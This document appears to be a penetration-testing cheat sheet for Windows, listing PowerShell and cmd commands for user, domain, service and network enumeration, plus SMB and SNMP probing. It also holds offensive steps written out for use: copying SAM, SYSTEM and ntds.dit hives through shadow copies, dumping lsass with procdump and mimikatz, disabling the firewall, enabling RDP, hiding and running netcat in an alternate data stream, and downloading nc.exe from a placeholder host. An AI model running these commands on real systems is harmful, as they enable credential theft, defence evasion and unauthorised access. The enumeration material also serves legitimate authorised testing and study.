{% hint style="success" %} Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here. {% endhint %}
{% hint style="info" %} Be aware sometimes these commands require elevated privileges to be run, or may be blocked by GPO or other means (JEA for example).
Most commands that run in cmd.exe will also run in PowerShell! This gives many more options and provides flexibility at times. Some commands may not work directly though, and will need to be run through cmd.exe by prefixing the commands with cmd /c
{% endhint %}
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS = My favorite Windows enumeration script, automates most common enumeration methods.
{% tabs %}
{% tab title="PowerShell" %}
$env:username
Displays the current user's display name
Get-LocalUser | Select *
Display usernames, password and account expiration, SID, Description, enabled status
[Security.Principal.WindowsIdentity]::GetCurrent()
Not very good output by default, need to manipulate the object a bit to get the desired information
The below example is better. Will display group name and SIDs. Still not the same as whoami /all
though.
$tableLayout = @{Expression={((New-Object System.Security.Principal.SecurityIdentifier($_.Value)).Translate([System.Security.Principal.NTAccount])).Value};Label=”Group Name”},
@{Expression={$_.Value};Label=”Group SID”},
@{Expression={$_.Type};Label=”Group Type”}
([Security.Principal.WindowsIdentity]::GetCurrent()).Claims | Format-Table $tableLayout -AutoSize
Get-ChildItem 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\ProfileList' | ForEach-Object { $_.GetValue('ProfileImagePath') }
Use either Get-WmiObject
or Get-CimInstance
to pull information about all local accounts. This can also be used remotely, and to query information about AD accounts.
Get-CimInstance -ComputerName $env:computername -Class Win32_UserAccount -Filter "LocalAccount=True" | Select PSComputername, Name, Status, Disabled, AccountType, Lockout, PasswordRequired, PasswordChangeable | Out-GridView
#Get Current or last logged in username
$CurrentUser = Get-CimInstance -ComputerName $Computer -Class Win32_ComputerSystem | Select-Object -ExpandProperty UserName
Get-WmiObject
has been deprecated. Only use it if Get-CimInstance
is not available due to outdated PowerShell version or problems with Windows Remoting. In most cases the two command names should be replaceable with no issues.
$adsi = [ADSI]"WinNT://$env:computername"
$Users = $adsi.Children | where {$_.SchemaClassName -eq 'user'}
$Users | Select *
Can be run on remote machines by substituting $env:computername
with the computer name of the remote machine. This returns a large amount of useful information on all users.
{% hint style="info" %} There is a property called Password, though this did not return anything on my Microsoft Account-enabled machine. Will have to try this on a domain or local account. {% endhint %} {% endtab %}
{% tab title="cmd.exe" %}
whoami /all
Includes: Username, SID, Groups (including their descriptions!), and user privileges.
echo %username%
Displays the current username
net user $username
Displays account and password expiration information, Logon script, User profile, Home directory, and group membership
{% endtab %}
{% endtabs %}
{% tabs %} {% tab title="PowerShell" %} Get list of local users
Get-LocalUser | Format-Table Name,Enabled,LastLogon,SID
Inferring from user's home folders
Get-ChildItem C:\Users -Force | select Name
Using WMI
Get-CimInstance -class Win32_UserAccount
Gets display name, description, lockout status, password requirements, login name and domain, and SID.
If run on a domain connected machine dumps all accounts on the whole domain! On a non-domain joined machine lists all local users. Includes Service Accounts.
Get list of local groups
Get-LocalGroup | Format-Table Name,SID,Description
List group members
Get-LocalGroupMember Administrators | Format-Table Name,PrincipalSource,SID
PrincipleSource will tell you whether the account is a local, domain, or Microsoft account. {% endtab %}
{% tab title="cmd.exe" %}
Show current username
net user %username%
Show all local users
net users
Show all local groups
net localgroup
Show who is inside Administrators group
net localgroup Administrators
Show who is currently logged in
qwinsta
net user /domain
net group /domain
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="PowerShell" %}
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
{% endtab %}
{% tab title="cmd.exe" %}
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="PowerShell" %}
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
{% endtab %}
{% tab title="cmd.exe" %}
# list all DCs of a domain
nltest /dclist:test.local
net group "domain controllers" /domain
# get DC for currently authenticated session
nltest /dsgetdc:test.local
# get domain trusts from cmd shell
nltest /domain_trusts
# get user info
nltest /user:"Administrator"
# get DC for currently authenticated session
set l
# get domain name and DC the user authenticated to
klist
# get all logon sessions. Includes NTLM authenticated sessions
klist sessions
# kerberos tickets for the session
klist
# cached krbtgt
klist tgt
{% endtab %} {% endtabs %}
WQL is an entire subject on its own. If you want to know the full extent of the capabilities of this powerful query language, type Get-Help WQL
in a PowerShell prompt. Below are a few examples of queries to pull lists of users from both local machines and from the domain.
# The following WQL query returns only local user accounts.
$q = "Select * from Win32_UserAccount where LocalAccount = True"
Get-CimInstance -Query $q
# To find domain accounts, use a value of False, as shown in the following example.
$q = "Select * from Win32_UserAccount where LocalAccount = False"
Get-CimInstance -Query $q
{% hint style="info" %}
WQL uses the backslash (\
) as its escape character. This is different from Windows PowerShell, which uses the backtick character (`
).
{% endhint %}
LAPS allows you to manage the local Administrator password (which is randomized, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorized users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
When using LAPS, two new attributes appear in the computer objects of the domain: ms-msc-AdmPwd
and ms-mcs-AdmPwdExpirationTime
. These attributes contains the plain-text admin password and the expiration time. In a domain environment, it could be interesting to check which users can read these attributes.
TODO: Add more examples
Many administrators set their account passwords to never expire, so searching for these can be valuable. Also, this means the password may have been set a long time ago.
Search-ADAccount -PasswordNeverExpires
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
The /f
flag specifies the keyword to search for. In this case the word "password".
{% tabs %} {% tab title="PowerShell" %}
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
{% endtab %}
{% tab title="cmd.exe" %}
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
{% endtab %} {% endtabs %}
If you can access these files and copy them, you can dump credentials for the system.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
The NTDSUtil "Install from media" (IFM) feature can be used to backup NTDS.dit with the one-liner below.
ntdsutil "ac in ntds" "ifm" "cr fu c:\mybackup" q q
- Check the status of the Volume Shadow Copy Service (VSS)
cscript vssown.vbs /status
2. Start the volume shadow backup service if it is not currently running.
cscript vssown.vbs /start
3. Create a backup of the drive
cscript vssown.vbs /create /c
4. Extract any files that were in use that are of interest (ntds.dit/SAM hive, etc.)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
Find files/folders where the "Everyone" group has permissions.
{% tabs %} {% tab title="PowerShell" %}
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' -Recurse | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' -Recurse | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
This will recursively search the "Program Files" folders, ignoring (most) errors. {% endtab %}
{% tab title="cmd.exe" %}
icacls "C:\Program Files\" /T /C 2>nul | findstr "Everyone"
This will recursively (/T
) search the "C:\Program Files\" folder, ignoring errors (/C
).
{% endtab %}
{% endtabs %}
More good groups to search for would be the "BUILTIN\Users" or "Domain Users" groups.
You can also use accesschk.exe
from Sysinternals to check for writeable folders and files.
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *
{% tabs %} {% tab title="PowerShell" %}
[System.Environment]::OSVersion
{% endtab %}
{% tab title="cmd.exe" %}
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
{% endtab %} {% endtabs %}
{% tabs %}
{% tab title="PowerShell" %}
Get-ComputerInfo
Gives a ton of information about the current hardware and Windows configuration
{% endtab %}
{% tab title="cmd.exe" %}
systeminfo
Gives basic hardware information, Also lists the hotfixes that have been installed. {% endtab %} {% endtabs %}
{% tabs %} {% tab title="PowerShell" %}
Get-CimInstance -query 'select * from win32_quickfixengineering' | foreach $_.hotfixid {Get-Hotfix}
Use the -description "Security update"
attribute of Get-Hotfix
to list only security updates
{% endtab %}
{% tab title="cmd.exe" %}
wmic qfe get Caption,Description,HotFixID,InstalledOn
{% endtab %}
{% endtabs %}
{% tabs %} {% tab title="PowerShell" %} Requires an elevated PowerShell prompt:
Get-WindowsDriver -Online -All
Specifies that the action is to be taken on the operating system that is currently running on the local computer. {% endtab %}
{% tab title="cmd.exe" %}
driverquery
{% endtab %}
{% endtabs %}
$env:windir\Logs\Dism\dism.log
Export-WindowsDriver -Online -Destination "C:\Backup\Path\"
{% tabs %}
{% tab title="PowerShell" %}
Show all current environment variables: Get-ChildItem Env:
Also aliased to: dir env:
or ls env:
or gci env:
{% endtab %}
{% tab title="cmd.exe" %}
Show all current environment variables: set
{% endtab %}
{% endtabs %}
These settings show what is being logged, this can be useful information for evasion and persistence
{% tabs %} {% tab title="PowerShell" %}
Get-ItemProperty -Path HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
Add the -Name $KeyName
property to get the value of a specific key.
{% endtab %}
{% tab title="cmd.exe" %}
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
{% endtab %}
{% endtabs %}
Check where the logs are sent:
{% tabs %} {% tab title="PowerShell" %}
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
Add the -Name $KeyName
property to get the value of a specific key.
{% endtab %}
{% tab title="cmd.exe" %}
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
{% endtab %}
{% endtabs %}
Check if there is any antivirus installed:
{% tabs %} {% tab title="PowerShell" %}
function Get-AntivirusName {
#Enable -Verbose output, piping of input from other comdlets, and more
[CmdletBinding()]
#List of input parameters
Param
(
#List of ComputerNames to process
[Parameter(ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true)]
[ValidateNotNullOrEmpty()]
[alias('Name')] #Allows for piping in of computers by name from Active Directory (Get-ADComputer)
[string[]]
$ComputerName = "$env:computername",
$Credential
)
Begin
{
$wmiQuery = "SELECT * FROM AntiVirusProduct"
}
Process
{
$AntivirusProduct = Get-CimInstance -Namespace "root\SecurityCenter2" -Query $wmiQuery @psboundparameters
[array]$AntivirusNames = $AntivirusProduct.displayName
foreach ($av in $AntivirusNames)
{
Out-Host "The installed antivirus products are:"
Out-Host $av
}
}
}
Get-AntivirusName
{% endtab %}
{% tab title="cmd.exe" %}
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get DisplayName
{% endtab %}
{% endtabs %}
Check the status of the Windows Firewall
{% tabs %} {% tab title="PowerShell" %}
Get-NetFirewallProfile -All
Use the -Name Public
property (instead of -All
) to select a specific firewall profile. Pipe the results to | Get-NetFirewallRule
to see the currently configured rules.
{% endtab %}
{% tab title="cmd.exe" %}
sc query windefend
netsh advfirewall firewall dump
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all
netsh firewall show state
netsh firewall show config
# Disable firewall
netsh firewall set opmode disable
{% endtab %} {% endtabs %}
Get the contents of the clipboard
Get-Clipboard
{% tabs %} {% tab title="PowerShell" %}
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)'
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE
The below PowerShell script will return a more complete list of all software installed by querying SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
on a list of computer names. It displays the following information:
- Computer Name,
- Software Name,
- Version,
- Publisher
function Get-SoftwareInventory
{
#Enable -Verbose output, piping of input from other comdlets, and more
[CmdletBinding()]
#List of input parameters
Param
(
#List of ComputerNames to process
[Parameter(ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true)]
[ValidateNotNullOrEmpty()]
[alias('Name')] #Allows for piping in of computers by name from Active Directory (Get-ADComputer)
[string[]]
$ComputerName
)
Begin
{
$SoftwareArray = @()
}
Process
{
#Variable to hold the location of Currently Installed Programs
$SoftwareRegKey = ”SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall”
#Create an instance of the Registry Object and open the HKLM base key
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey(‘LocalMachine’,$ComputerName)
#Open the Uninstall subkey using the OpenSubKey Method
$RegKey = $Reg.OpenSubKey($SoftwareRegKey)
#Create a string array containing all the subkey names
[String[]]$SubKeys = $RegKey.GetSubKeyNames()
#Open each Subkey and use its GetValue method to return the required values
foreach($key in $SubKeys)
{
$UninstallKey = $SoftwareRegKey + ”\\” + $key
$UninstallSubKey = $reg.OpenSubKey($UninstallKey)
$obj = [PSCustomObject]@{
Computer_Name = $ComputerName
DisplayName = $($UninstallSubKey.GetValue(“DisplayName”))
DisplayVersion = $($UninstallSubKey.GetValue(“DisplayVersion”))
InstallLocation = $($UninstallSubKey.GetValue(“InstallLocation”))
Publisher = $($UninstallSubKey.GetValue(“Publisher”))
}
$SoftwareArray += $obj
}
}
End
{
$SoftwareArray | Where-Object { $_.DisplayName } | Select-Object ComputerName, DisplayName, DisplayVersion, Publisher | Format-Table -AutoSize
}
}
Get-SoftwareInventory
{% endtab %}
{% tab title="cmd.exe" %}
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
wmic product get name /value
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="PowerShell" %}
$Program = Read-Host "[Type the program to uninstall here]:"
$MyProgram = Get-CimInstance -Class Win32_Product | Where-Object {$_.Name -eq “$Program”}
$MyProgram.uninstall()
If Get-CimInstance
is not able to find your software, you can try this instead:
Get-Package -Provider Programs -IncludeWindowsInstaller -Name “$Program” | Uninstall-Package
To get PowerShell to display all the programs in the Control Panel, use an asterisk in place of the Name parameter.
{% hint style="info" %}
This command only uninstalls the latest version of a program. If you’ve installed multiple versions use the -RequiredVersion 2.0
property of Get-Package
to specify the version to uninstall.
{% endhint %}
{% endtab %}
{% tab title="cmd.exe" %}
wmic product where name="$program" call uninstall /INTERACTIVE:OFF
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="PowerShell" %} Get a list of services:
Get-Service
{% endtab %}
{% tab title="cmd.exe" %} Get a list of services:
net start
wmic service list brief
sc query
{% endtab %}
{% endtabs %}
sc qc $service_name
{% hint style="success" %}
To use this command in PowerShell you need to specify sc.exe
instead of sc
. In PowerShell sc
is an alias for Set-Content
and will not give the expected output.
{% endhint %}
If you are having this error (for example with SSDPSRV):
System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it. You can enable it using:
sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= ""
Note: In Windows XP SP1, the service upnphost depends on SSDPSRV to work
Unquoted service paths are paths to services that contain a space in them, that are not surrounded by quotes. These paths can be hijacked to run arbitrary code if the break in the path is a writeable location.
{% tabs %} {% tab title="PowerShell" %}
Get-CimInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
{% endtab %}
{% tab title="cmd.exe" %}
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
{% endtab %} {% endtabs %}
{% tabs %}
{% tab title="PowerShell" %}
Get-Process
With usernames of process owner
Get-CimInstance -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
*Admin rights needed to pull owner information
Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
{% endtab %}
{% tab title="cmd.exe" %}
tasklist
list running processes
tasklist Options |
Use |
---|---|
/svc |
List all the service information for each process |
/fo $format |
Change output format [table is default] |
/s $ComputerName |
Run on remote computer [Computer Name or IP]\ |
/u $username |
Username if credentials are needed |
/p $password |
Password if credentials are needed |
/v |
Verbose output |
{% endtab %} | |
{% endtabs %} |
{% tabs %} {% tab title="PowerShell" %}
$process = (Get-Process | Where-Object {$_.Path -NotMatch "system32"} ).Path
$process | Where-Object { $_ -NE $null } | Foreach-Object {
Get-Acl $_ -ErrorAction SilentlyContinue
} |
Out-GridView
{% endtab %}
{% tab title="cmd.exe" %}
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
pause
Put this inside a batch script. Do not try to run from the command line otherwise it will not function. {% endtab %} {% endtabs %}
Make sure to also check permissions of the folders of the process binaries (useful for dll injection!)
{% tabs %} {% tab title="PowerShell" %}
Get-NetTCPConnection
{% hint style="warning" %}
This cmdlet is for TCP connections ONLY! UDP information must be queried separately. See
**Get-NetUDPEndpoint
** below.
{% endhint %}
Get listening connections:
Get-NetTCPConnection | ? {$_.State -eq "Listen"}
Check for anything that’s listening from any remote address:
Get-NetTCPConnection | ? {($_.State -eq "Listen") -and ($_.RemoteAddress -eq "0.0.0.0")}
To get connection information for a specific port use the -LocalPort $port
attribute.
Since this cmdlet returns objects, you can use these objects to return other information, such as getting the process ID associated with each connection:
$processes = (Get-NetTCPConnection | ? {($_.State -eq "Listen") -and ($_.RemoteAddress -eq "0.0.0.0")}).OwningProcess
foreach ($process in $processes) {Get-Process -PID $process | select ID,ProcessName}
Get-NetUDPEndpoint | Select-Object -Property LocalAddress,LocalPort,OwningProcess |ft
To show listening ports filter for the address 0.0.0.0:
Get-NetUDPEndpoint | Where {$_.LocalAddress -eq "0.0.0.0"}
Use the -CimSession $CimSession
Parameter to run this on a remote computer after creating a New-CimSession
.
{% endtab %}
{% tab title="cmd.exe" %}
netstat -ano
{% endtab %}
{% endtabs %}
Shows TCP and UDP connections, with the following properties: Local Address, Local Port, Remote Address, Remote Port, Connection State, Process Name, and PID
TODO: Make this fully PowerShell implemented, without netstat
function Get-NetworkStatistics
{
$properties = ‘Protocol’,’LocalAddress’,’LocalPort’
$properties += ‘RemoteAddress’,’RemotePort’,’State’,’ProcessName’,’PID’
netstat -ano | Select-String -Pattern ‘\s+(TCP|UDP)’ | ForEach-Object {
$item = $_.line.split(” “,[System.StringSplitOptions]::RemoveEmptyEntries)
if($item[1] -notmatch ‘^\[::’)
{
if (($la = $item[1] -as [ipaddress]).AddressFamily -eq ‘InterNetworkV6’)
{
$localAddress = $la.IPAddressToString
$localPort = $item[1].split(‘\]:’)[-1]
}
else
{
$localAddress = $item[1].split(‘:’)[0]
$localPort = $item[1].split(‘:’)[-1]
}
if (($ra = $item[2] -as [ipaddress]).AddressFamily -eq ‘InterNetworkV6’)
{
$remoteAddress = $ra.IPAddressToString
$remotePort = $item[2].split(‘\]:’)[-1]
}
else
{
$remoteAddress = $item[2].split(‘:’)[0]
$remotePort = $item[2].split(‘:’)[-1]
}
New-Object PSObject -Property @{
PID = $item[-1]
ProcessName = (Get-Process -Id $item[-1] -ErrorAction SilentlyContinue).Name
Protocol = $item[0]
LocalAddress = $localAddress
LocalPort = $localPort
RemoteAddress =$remoteAddress
RemotePort = $remotePort
State = if($item[0] -eq ‘tcp’) {$item[3]} else {$null}
} | Select-Object -Property $properties
}
}
}
Get-NetworkStatistics | Format-Table
UDP info for updating above script (this example only shows connections for port 1900)
$LOCALPORT = "1900"
$CONNECTIONS = Get-NetUDPEndpoint | Select-Object -Property LocalPort, @{name='ProcessID';expression={(Get-Process -Id $_.OwningProcess). ID}}, @{name='ProcessName';expression={(Get-Process -Id $_.OwningProcess).Path}}
ForEach ($Connection in $CONNECTIONS)
{
If ($Connection.LocalPort -eq $LOCALPORT)
{
$Connection
}
}
https://github.com/carlospolop/hacktricks/blob/master/windows/basic-cmd-for-pentesters.md#network (TODO:check for more network enumeration info here)
Check which files are executed when the computer is started, or a user is logged in.
{% tabs %} {% tab title="PowerShell" %}
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" -Force
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" -Force
Get-ChildItem "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -Force
{% endtab %}
{% tab title="cmd.exe" %}
wmic startup get caption,command 2>nul
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul & ^
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul & ^
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul & ^
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
{% endtab %} {% endtabs %}
For a comprehensive list of auto-executed files you can use AutoRuns from SysInternals
To run this from a command prompt without popup windows:
autorunsc.exe -m -nobanner -a * -ct /accepteula
Port 139 and 445
Server Message Block is a service that enables the user to share files with other machines. May be able to browse files without having credentials (Null Session).
- Enumerate Hostname
-
nmblookup -A $ip
-
- List Shares
smbmap -H $computer
echo exit | smbclient -L \\\\$ip
nmap --script smb-enum-shares -p 139,445 $ip
- Check Null Sessions
smbmap -H $computer
rpcclient -U "" -N $ip
smbclient \\\\$ip\\$share_name
- Check for Vulnerabilities
nmap --script smb-vuln* -p 139,445 $ip
- Overall Scan
enum4linux -a $ip
- Manual Inspection
smbver.sh $ip $port
- Use Wireshark to check pcap
smbclient --list $ip
smbclient -L $ip
smbmap -H $computer
This can show all connected hard drives, not only network fileshares
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Listing all PSDrives can also give you valuable information, showing how to access environment variables, certificates, registry keys, temp folders, and more.
nmap --script=smb-check-vulns.nse $ip -p 445
nmap -p 139,445 $ip_range --script smb-enum-shares.nse smb-os-discovery.nse
smbclient -L $ip -U $UserName -p 445
smbclient \\\\$ip\\$ShareName
smbclient \\\\$ip\\$ShareName -U $UserName
enum4linux -a $ip
-a
"do everything" option
nmblookup -A $ip
smbclient -L $server_name -I $ip
rpcclient -U $UserName $ip
rpcclient -U "" $ip
#press enter if it asks for a password
rpcclient $> srvinfo
rpcclient $> enumdomusers
rpcclient $> enumalsgroups domain
rpcclient $> lookupnames administrators
rpcclient> querydominfo
rpcclient> enumdomusers
rpcclient> queryuser john
nmap --script smb-vuln* -p 139,445 $ip
@rewardone
in the PWK forums posted a script to gather Samba versions:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
sleep 0.5 && echo ""
To get Windows SMB information open the pcap in Wireshark and filter on ntlmssp.ntlmv2_response
SNMP is based on UDP, a simple, stateless protocol, and is therefore susceptible to IP spoofing, and replay attacks. In addition, the commonly used SNMP protocols 1, 2, and 2c offer no traffic encryption, meaning SNMP information and credentials can be easily intercepted over a local network.
- (MIB) is a database containing information usually related to network management.
- The database is organized like a tree, where branches represent different organizations or network functions. The leaves of the tree (final endpoints) correspond to specific variable values that can then be accessed, and probed, by an external user.
- https://docs.microsoft.com/en-us/windows/win32/snmp/the-snmp-management-information-base-mib-
SNMP most often uses UDP port 161.
nmap -sU --open -p 161 192.168.11.200-254 -oN snmp.txt
You can use a tool such as onesixtyone, which will check for given community strings against an IP list, allowing you to brute force various community strings from a list.
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254);do echo 10.10.10.$ip;done > ips
onesixtyone -c community -i ips
We can probe and query SNMP values using a tool such as snmpwalk once you know the SNMP read-only community string (which in most cases is “public”).
# Enumerating the Entire MIB Tree
snmpwalk -c public -v1 $ip
# Enumerating Windows Users:
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
# Enumerating Running Windows Processes:
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2
# Enumerating Open TCP Ports:
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3
# Enumerating Installed Software:
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2
The notation 1.3.6.1.2.1.25.6.3.1.2
is the MIB, which is the shorthand SNMP uses to perform queries.
You can also use snmpenum and snmpcheck to gather information.
snmpcheck -t 10.10.10.1 -c public
snmpenum -t 10.10.10.1
- TODO: Everything below from the above site...in the process of verification, cleanup, and assimilation.
Windows CLI gems. Tweets of @wincmdfu
Windows one line commands that make life easier, shortcuts and command line fu.
C:\>netsh interface ipv4 show neighbors
C:\>netsh wlan show networks mode=b
Save the following in ip.bat
in %PATH%
C:\>ipconfig | find /I "pv"
Call ip
from CLI
for /F "tokens=2* delims= " %i in ('sc query ^| find /I "ce_name"') do @sc qc %i %j
C:\>reg save HKLM\SAM "%temp%\SAM.reg"
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
bcdedit /set bootlog yes
Read via %windir%\ntbtlog.txt
PS C:\>Checkpoint-Computer -description "Restore point!"
C:\> whoami /priv | findstr "Debug"
For all privs:
C:\> whoami /priv
C:\>net user test /active:yes (no)
Get full help on the net user command:
C:\>net help user
PS C:\> (Get-Process | Sort-Object -Descending WS)[0]
C:\>type data.txt > C:\windows\explorer.exe:newads.txt
C:\> tasklist /FO CSV > tasks.txt
C:\> rundll32 user32.dll,LockWorkStation
C:\> explorer /select,C:\MyData\sample.docx
C:\>vboxmanage debugvm "WinXPLab1" dumpguestcore --filename winxplab1.elf
C:\> tzutil /s "Eastern Standard Time"
List available Time zones:
C:\> tzutil /l
VirtualBox
C:\> vboxmanage guestcontrol "WinXP" md "C:\\test" --username "user" --password "pass"
C:\> psexec @$ips.txt -s -u adminuser -p pass -f -c \exploits\mp.exe
C:\> net share Apps=C:\Apps /G:everyone,READ /US:10
C:\> fsutil.exe fsinfo drives
C:\> pathping -n www.google.com
For system wide list, remove the process name
C:\> listdlls -u explorer.exe
Server2008
PS C:\> Get-ADComputer -filter {OperatingSystem -like "*XP*"}
Change the number for different tabs
C:\> control sysdm.cpl,,3
C:\> dir /R | find ":$D"
Using streams sysinternals
(shows path):
C:\> streams -s .
Use mimikatz
minidump
to get passwords
C:\> procdump -accepteula -ma lsass.exe mini.dmp
mimikatz # sekurlsa::minidump mini.dmp
mimikatz # sekurlsa::logonPasswords
C:\> wmic startup list full
C:\> type c:\tools\nc.exe > c:\nice.png:nc.exe
Execute it (XP/2K3):
C:\> start c:\nice.png:nc.exe
C:\> wmic process call create C:\nice.png:nc.exe
https://technet.microsoft.com/en-us/library/cc730902(v=ws.10).aspx
C:\> netsh nap client show configuration
C:\> wmic computersystem list /format:csv
C:\> pkgmgr /iu:"TelnetClient"
Sysinternals
C:\> sdelete -p 10 a.txt
To recursively delete folders:
C:\> sdelete -10 -r C:\data\
It covers more locations than Windows inbuilt tools
C:\> autorunsc -m -c
PS C:\> ipmo BitsTransfer;Start-BitsTransfer -Source http://foo/nc.exe -Destination C:\Windows\Temp\
